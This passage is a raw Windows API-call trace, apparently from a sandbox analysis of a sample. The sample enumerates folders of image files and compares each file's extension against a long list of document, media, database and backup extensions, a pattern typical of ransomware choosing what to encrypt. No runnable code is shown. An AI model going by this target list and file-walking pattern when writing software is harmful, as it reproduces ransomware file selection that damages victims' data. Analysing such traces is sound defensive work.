FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.206] RtlpDeCommitFreeBlock () [0259.206] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0259.208] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.208] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.209] RtlpDeCommitFreeBlock () [0259.209] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0259.211] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.211] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.212] RtlpDeCommitFreeBlock () [0259.212] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0259.214] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.214] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0259.215] RtlpDeCommitFreeBlock () [0259.215] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0259.217] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.217] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.218] RtlpDeCommitFreeBlock () [0259.218] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0259.220] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.220] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0259.221] RtlpDeCommitFreeBlock () [0259.221] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0259.221] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.221] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0259.221] RtlpDeCommitFreeBlock () [0259.222] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0259.223] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.223] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.223] lstrlenW (lpString="1047x576black.png") returned 17 [0259.223] lstrlenW (lpString=".1cd") returned 4 [0259.223] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0259.223] lstrlenW (lpString=".3ds") returned 4 [0259.223] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0259.223] lstrlenW (lpString=".3fr") returned 4 [0259.223] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0259.223] lstrlenW (lpString=".3g2") returned 4 [0259.223] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0259.223] lstrlenW (lpString=".3gp") returned 4 [0259.223] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0259.223] lstrlenW (lpString=".7z") returned 3 [0259.223] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0259.223] lstrlenW (lpString=".accda") returned 6 [0259.224] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".accdb") returned 6 [0259.224] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".accdc") returned 6 [0259.224] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".accde") returned 6 [0259.224] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".accdt") returned 6 [0259.224] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".accdw") returned 6 [0259.224] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1 [0259.224] lstrlenW (lpString=".adb") returned 4 [0259.224] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".adp") returned 4 [0259.224] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai") returned 3 [0259.224] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0259.224] lstrlenW (lpString=".ai3") returned 4 [0259.224] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai4") returned 4 [0259.224] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai5") returned 4 [0259.224] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai6") returned 4 [0259.224] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai7") returned 4 [0259.224] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".ai8") returned 4 [0259.224] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0259.224] lstrlenW (lpString=".anim") returned 5 [0259.224] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1 [0259.225] lstrlenW (lpString=".arw") returned 4 [0259.225] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0259.225] lstrlenW (lpString=".as") returned 3 [0259.225] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0259.225] lstrlenW (lpString=".asa") returned 4 [0259.225] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0259.225] lstrlenW (lpString=".asc") returned 4 [0259.225] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0259.225] lstrlenW (lpString=".ascx") returned 5 [0259.225] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1 [0259.225] lstrlenW (lpString=".asm") returned 4 [0259.225] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0259.225] lstrlenW (lpString=".asmx") returned 5 [0259.225] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1 [0259.360] lstrlenW (lpString=".asp") returned 4 [0259.360] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0259.360] lstrlenW (lpString=".aspx") returned 5 [0259.360] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1 [0259.360] lstrlenW (lpString=".asr") returned 4 [0259.360] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0259.360] lstrlenW (lpString=".asx") returned 4 [0259.360] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0259.360] lstrlenW (lpString=".avi") returned 4 [0259.360] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0259.360] lstrlenW (lpString=".avs") returned 4 [0259.360] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0259.360] lstrlenW (lpString=".backup") returned 7 [0259.361] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1 [0259.361] lstrlenW (lpString=".bak") returned 4 [0259.361] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".bay") returned 4 [0259.361] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".bd") returned 3 [0259.361] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0259.361] lstrlenW (lpString=".bin") returned 4 [0259.361] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".bmp") returned 4 [0259.361] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".bz2") returned 4 [0259.361] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".c") returned 2 [0259.361] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0259.361] lstrlenW (lpString=".cdr") returned 4 [0259.361] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".cer") returned 4 [0259.361] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".cf") returned 3 [0259.361] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0259.361] lstrlenW (lpString=".cfc") returned 4 [0259.361] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".cfm") returned 4 [0259.361] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0259.361] lstrlenW (lpString=".cfml") returned 5 [0259.361] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1 [0259.362] lstrlenW (lpString=".cfu") returned 4 [0259.362] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".chm") returned 4 [0259.362] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".cin") returned 4 [0259.362] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".class") returned 6 [0259.362] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1 [0259.362] lstrlenW (lpString=".clx") returned 4 [0259.362] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".config") returned 7 [0259.362] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1 [0259.362] lstrlenW (lpString=".cpp") returned 4 [0259.362] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".cr2") returned 4 [0259.362] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".crt") returned 4 [0259.362] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".crw") returned 4 [0259.362] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".cs") returned 3 [0259.362] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0259.362] lstrlenW (lpString=".css") returned 4 [0259.362] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".csv") returned 4 [0259.362] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".cub") returned 4 [0259.362] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".dae") returned 4 [0259.362] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0259.362] lstrlenW (lpString=".dat") returned 4 [0259.363] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".db") returned 3 [0259.363] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0259.363] lstrlenW (lpString=".dbf") returned 4 [0259.363] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".dbx") returned 4 [0259.363] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".dc3") returned 4 [0259.363] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".dcm") returned 4 [0259.363] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".dcr") returned 4 [0259.363] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".der") returned 4 [0259.363] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0259.363] lstrlenW (lpString=".dib") returned 4 [0259.363] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dic") returned 4 [0259.364] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dif") returned 4 [0259.364] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".divx") returned 5 [0259.364] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".djvu") returned 5 [0259.364] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".dng") returned 4 [0259.364] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".doc") returned 4 [0259.364] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".docm") returned 5 [0259.364] lstrcmpiW (lpString1=".docm", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".docx") returned 5 [0259.364] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".dot") returned 4 [0259.364] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dotm") returned 5 [0259.364] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".dotx") returned 5 [0259.364] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1 [0259.364] lstrlenW (lpString=".dpx") returned 4 [0259.364] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dqy") returned 4 [0259.364] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dsn") returned 4 [0259.364] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dt") returned 3 [0259.364] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0259.364] lstrlenW (lpString=".dtd") returned 4 [0259.364] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0259.364] lstrlenW (lpString=".dwg") returned 4 [0259.364] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".dwt") returned 4 [0259.365] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".dx") returned 3 [0259.365] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0259.365] lstrlenW (lpString=".dxf") returned 4 [0259.365] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".edml") returned 5 [0259.365] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1 [0259.365] lstrlenW (lpString=".efd") returned 4 [0259.365] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".elf") returned 4 [0259.365] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".emf") returned 4 [0259.365] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".emz") returned 4 [0259.365] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".epf") returned 4 [0259.365] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".eps") returned 4 [0259.365] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".epsf") returned 5 [0259.365] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1 [0259.365] lstrlenW (lpString=".epsp") returned 5 [0259.365] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1 [0259.365] lstrlenW (lpString=".erf") returned 4 [0259.365] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".exr") returned 4 [0259.365] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".f4v") returned 4 [0259.365] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0259.365] lstrlenW (lpString=".fido") returned 5 [0259.365] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1 [0259.365] lstrlenW (lpString=".flm") returned 4 [0259.365] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".flv") returned 4 [0259.366] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".frm") returned 4 [0259.366] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".fxg") returned 4 [0259.366] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".geo") returned 4 [0259.366] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".gif") returned 4 [0259.366] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".grs") returned 4 [0259.366] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".gz") returned 3 [0259.366] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0259.366] lstrlenW (lpString=".h") returned 2 [0259.366] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0259.366] lstrlenW (lpString=".hdr") returned 4 [0259.366] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".hpp") returned 4 [0259.366] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".hta") returned 4 [0259.366] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".htc") returned 4 [0259.366] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".htm") returned 4 [0259.366] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".html") returned 5 [0259.366] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1 [0259.366] lstrlenW (lpString=".icb") returned 4 [0259.366] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0259.366] lstrlenW (lpString=".ics") returned 4 [0259.366] lstrcmpiW (lpString1=".ics", lpString2=".png") 